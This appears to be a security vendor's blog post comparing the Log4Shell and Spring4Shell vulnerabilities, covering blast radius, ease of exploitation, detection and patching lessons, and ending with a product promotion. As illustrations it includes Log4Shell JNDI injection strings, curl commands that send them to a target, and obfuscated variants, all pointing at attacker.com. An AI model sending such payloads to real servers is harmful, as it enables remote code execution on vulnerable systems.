Within four months, the Java ecosystem was hit by two critical remote code execution vulnerabilities in foundational frameworks: Log4Shell (CVE-2021-44228) in December 2021 and Spring4Shell (CVE-2022-22965) in March 2022. Both received CVSS scores of 9.8 (Critical). Both triggered emergency patching cycles across the industry. Both exposed the fragility of software supply chains.
But they were not the same. Understanding the differences is essential for accurately assessing risk and prioritizing response — skills that become more important with every new critical vulnerability disclosure.
Side-by-Side Comparison
| Dimension | Log4Shell | Spring4Shell | |-----------|-----------|--------------| | CVE | CVE-2021-44228 | CVE-2022-22965 | | CVSS | 9.8 | 9.8 | | Component | Apache Log4j 2.x | Spring Framework 5.x | | Type | JNDI injection → RCE | Data binding → ClassLoader → RCE | | Authentication | None required | None required | | Prerequisites | Log4j processes attacker input | JDK 9+, WAR on Tomcat, data binding | | Blast radius | Virtually all Java apps | Subset of Spring MVC apps | | Detection | Trivial (JNDI lookup strings) | Moderate (HTTP parameter patterns) | | Exploitation | Trivially easy | Requires specific conditions |
Blast Radius: The Critical Difference
Log4Shell affected nearly every Java application on the planet. Log4j is ubiquitous — it is the default logging framework for most Java projects and is embedded in thousands of products from Apache Struts to Minecraft servers. If an application logged any attacker-controlled input (a search query, a user agent string, a username), it was vulnerable. The trigger was as simple as:
${jndi:ldap://attacker.com/exploit}
Any string field that reached a log.info(), log.error(), or similar call would trigger the JNDI lookup. The attack surface was enormous because logging is everywhere.
Spring4Shell had a much narrower blast radius. The exploitation chain required three simultaneous conditions: JDK 9 or later, deployment as a WAR file on Apache Tomcat, and a Spring MVC controller with data binding. Remove any one of these conditions, and the specific exploitation path did not work.
Many Spring Boot applications — arguably the most common modern deployment pattern — run as executable JARs with embedded Tomcat, which did not satisfy the WAR deployment requirement. Many enterprise applications still ran JDK 8, which did not satisfy the JDK 9+ requirement.
Exploitability: Ease of Attack
Log4Shell was trivially exploitable. An attacker needed only to inject a JNDI lookup string into any logged field. No knowledge of the application architecture, deployment method, or JDK version was required. Automated scanning tools could probe millions of targets per hour.
# Log4Shell could be triggered through virtually any input field
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" https://target.com
curl "https://target.com/search?q=\${jndi:ldap://attacker.com/a}"
Spring4Shell required the attacker to know (or guess) that the target used Spring MVC with data binding, ran on Tomcat as a WAR, and used JDK 9+. The exploit payload was also more complex — a series of parameters that navigated the ClassLoader hierarchy to modify Tomcat's access log configuration.
Detection: Identifying Exploitation Attempts
Log4Shell was relatively easy to detect in network traffic because the JNDI lookup syntax (${jndi:) was distinctive. WAF rules could be written quickly, though attackers rapidly developed obfuscation techniques:
${${lower:j}ndi:${lower:l}dap://attacker.com/a}
${j${::-n}di:ldap://attacker.com/a}
Spring4Shell exploitation involved HTTP parameters containing class.module.classLoader paths. This was detectable but less distinctive than JNDI strings, and could be confused with legitimate data binding if not analyzed carefully.
Response Timeline: How the Industry Reacted
Log4Shell triggered an unprecedented industry-wide response. The Apache Foundation released patches within days. CISA issued emergency directives. CEOs who had never heard of Log4j were suddenly asking their CISOs about it. The response was chaotic but fast, driven by the universal nature of the threat.
Spring4Shell benefited from the playbook established by Log4Shell. Organizations that had recently gone through the Log4Shell fire drill had processes in place: SBOM queries to identify exposure, patch deployment pipelines, and communication templates. The response was faster and more organized, though complicated by the initial confusion between CVE-2022-22963 and CVE-2022-22965.
Impact on Supply Chain Awareness
Both vulnerabilities fundamentally changed how organizations think about software dependencies:
Log4Shell was the wake-up call. It proved that a single library buried deep in the dependency tree could put entire organizations at risk. It drove adoption of SBOMs, dependency scanning, and supply chain security programs.
Spring4Shell was the reality check. It showed that Log4Shell was not a once-in-a-decade event — critical framework vulnerabilities would keep coming. Organizations that treated Log4Shell as a one-off emergency instead of building sustainable practices were caught flat-footed again just four months later.
Lessons from Both Incidents
SBOM Coverage Must Be Comprehensive
During Log4Shell, many organizations discovered they had no idea where Log4j was used. During Spring4Shell, the same organizations that had scrambled to create Log4j inventories found that their inventories did not cover Spring Framework. Partial SBOMs are almost as useless as no SBOMs.
CVSS Scores Are Not Enough
Both vulnerabilities had the same CVSS score (9.8), but Log4Shell was orders of magnitude more dangerous in practice. CVSS captures theoretical worst-case severity but does not account for real-world exploitability conditions, blast radius, or attacker tooling availability. Context matters.
Framework Diversity Is a Risk
Organizations running large Java estates with both Log4j and Spring had to respond to both incidents within four months. Consider whether your technology stack's concentration in a single ecosystem creates correlated risk.
Patch Velocity Is a Competitive Advantage
Organizations that patched Log4Shell in days had muscle memory that helped them patch Spring4Shell faster. Patching speed is not just a security metric — it is an organizational capability that improves with practice.
How Safeguard.sh Helps
Safeguard.sh provides continuous vulnerability monitoring across your entire software portfolio, ensuring that when the next critical framework vulnerability drops, you have the visibility to assess exposure within minutes. Our platform goes beyond CVSS scores to assess real-world exploitability, considering deployment context, configuration, and environmental factors. Whether the next crisis is in a logging library, a web framework, or something entirely unexpected, Safeguard.sh ensures you are prepared.